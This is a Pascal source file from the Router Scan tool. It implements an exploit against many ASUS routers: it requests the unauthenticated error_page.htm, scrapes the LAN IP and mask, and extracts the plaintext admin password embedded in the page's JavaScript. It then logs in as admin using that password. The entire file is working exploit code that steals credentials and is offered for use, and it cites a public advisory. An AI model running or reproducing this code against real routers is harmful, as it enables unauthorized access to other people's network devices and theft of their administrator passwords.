// Router Scan exploit
// Copyright (C) Stas'M Corp. 2015

// Project home page:
// http://stascorp.com/load/1-1-0-56

// References:
// https://sintonen.fi/advisories/asus-router-auth-bypass.txt

function TRouter.Exploit_ASUS_ErrPage(UseAuth: Boolean; var AuthUser, AuthPass: String): Boolean;
var
  Code: Integer;
begin
  // Affected:
  // Many of ASUS
  // U2C 300M
  Result := False;
  if (ServerName <> 'httpd')
  and (ServerName <> 'httpd/2.0') then
    Exit;
  if AuthOk and (AuthUser = 'admin') then
    Exit;
  if GetHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/error_page.htm', S, Code, 8, 0,
  ServerName, UseAuth, AuthUser, AuthPass) then begin
    LAN := DeleteBetween(S, 'var current_lanip = ''', ''';');
    if LAN <> '' then
      SetTableCell(stcLANIP, LAN);
    LAN := DeleteBetween(S, 'var current_mask = ''', ''';');
    if LAN <> '' then
      SetTableCell(stcLANMask, LAN);
    AuthPass := DeleteBetween(S, 'if(''1'' == ''0'' || ''', ''' == ''admin'')');
    ParseHTMLDec(AuthPass);
    if AuthPass <> '' then begin
      AuthUser := 'admin';
      Result := True;
    end;
    if Result then
      GetHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port) + DetectionPage,
      S, Code, 2, 0, ServerName, True, AuthUser, AuthPass);
  end;
end;
